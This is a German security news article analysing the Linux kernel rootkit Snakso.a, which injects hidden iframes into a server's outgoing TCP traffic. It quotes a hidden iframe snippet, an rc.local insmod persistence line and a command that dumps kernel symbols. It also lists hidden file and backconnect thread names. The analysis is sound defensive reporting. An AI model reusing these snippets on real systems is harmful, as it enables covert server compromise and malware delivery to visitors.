Iframe-Attacken sind schon seit längerer Zeit recht verbreitet. Die Idee dahinter ist, dass eine vom Angreifer manipulierte Webseite Malware von einem anderen Server einbettet. Derartige Angriffe sind prinzipiell recht einfach, der Code dafür sieht folgendermaßen aus:
<iframe src="http://example.com/?click=8F9DA" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Das entscheidende Attribut ist hier “visibility:hidden”, das den Iframe unsichtbar macht. Es gibt verschiedene Möglichkeiten, Schreibzugriff auf eine Website zu erlangen und eine HTML-Seite entsprechend zu modifizieren. Entweder ist der ganze Server bereitskompromittiert oder der Angreifer nutzt schlecht gesicherte Upload-Mechanismen via PHP oder FTP. Sind erst einmal genug Websites derart infiziert, werden schnell sehr viele Besucher auf die Malware-Server umgeleitet, und der Angreifer hat sein Ziel erreicht.
Mitte November ist eine neue Variante der Iframe-Attacke aufgetaucht, die keinen der bekannten Mechanismen zum Installieren der Malware verwendet. Sie ist die erste ihrer Art und wurde auf Full Disclosure von einem Nginx-Administrator gemeldet. Die Websites auf den Seiten dieses Server-Betreibers waren mit Iframes verseucht.
Allerdings waren bei genauer Inspektion alle HTML-Dateien und Skripte auf dem Server in einwandfreien Zustand und enthielten keine schädlichen Iframes. Trotzdem enthielten die vom Server gesendeten HTTP-Daten die Iframe-Tags. Eine detaillierte Analyse zeigte, dass diese schon auf TCP-Ebene in den Datenstrom eingeschleust wurden. Verantwortlich hierfür war ein auf dem Server installiertes neuartiges Rootkit in Form eines Kernelmoduls. Dieses Modul modifizierte sämtlichen TCP-Verkehr so, dass Iframes in Websites dynamisch während des Datentransfers eingefügt wurden. Eine ausführliche Analyse des Moduls findet sich hier, und die Modul-Binärdatei ist an die Full-Disclosure-Mail angehängt.
Das Modul wurde speziell für den 64-Bit Kernel 2.6.32-5-amd64 gebaut, der von Debian Squeeze verwendet wird. In einem ersten Schritt macht sich das Rootkit Reboot-resistent, indem es in “/etc/rc.local” die Zeile
insmod /lib/modules/2.6.32-5-amd64/kernel/sound/module_init.ko
einfügt, womit das Modul bei jedem Neustart via “insmod” geladen wird. Der Name des Moduls lässt nichts Böses vermuten, weil es sich einfach im “sound”-Unterverzeichnis einordnet.
Sowohl die eigentliche Manipulation des TCP-Verkehrs als auch das Verstecken von Modul und Dateien geschieht, wie bei Kernelmodul-Hacks üblich, durch geschicktes Manipulieren von Syscalls. Hierzu verschafft sich das Modul via Proc-Dateisystem zunächst Zugriff auf die Kernelsymbole und legt diese in einer temporären Datei ab:
/bin/bash -c cat /proc/kallsyms > /.kallsyms_tmp /bin/bash -c cat /boot/System.map-`uname -r` > /.kallsyms_tmp
Aus der temporären Datei werden dann einige Symbol-Einträge extrahiert, bevor die Datei wieder gelöscht wird, um keine Spuren zu hinterlassen. Zum Verstecken des Moduls und von Dateien/Prozessen werden anschließend die Syscalls “vfs_readdir()”, “vfs_read()”, “filldir64()” und “filldir()” manipuliert. Das Modul versteckt damit die Dateien “zzzzzz_command_http_inject_for_module_init”, “zzzzzz_write_command_in_file”, “module_init.ko”, “sysctl.conf”, “/usr/local/hide/first_hide_file/*” und “/ah34df94987sdfgDR6JH51J9a9rh191jq97811/*”. Weiter werden auch folgende Thread-Prozesse getarnt: “backconnect_command_thread_name”, “new_backconnect_command_thread_name”, “read_command_http_inject_thread_name”, “write_startup_command_thread_name”, “write_se_linux_command_thread_name”, “get_http_inj_from_server_thread_name”.
Um die eigentlichen Iframes einfügen zu können muss das Modul als nächstes Kontrolle über den TCP-Datenstrom des Servers erlangen. Hierzu wird die Kernelfunktion “tcp_sendmsg()” manipuliert. Die eigentliche Injection-Payload ist nicht hart kodiert und wird dynamisch von einem Kontrollserver heruntergeladen. Dazu baut das Modul eine Verbindung zu diesem auf und lädt die Payload herunter, die dann via Iframe-Attacke in die Website eingeschleust wird. Die IP-Adresse des Kontrollservers ist auf die Hetzner Online AG in Deutschland registriert.
Kaspersky Lab hat dieses Rootkits bereits analysiert und ihm den Namen Rootkit.Linux.Snakso.a gegeben.
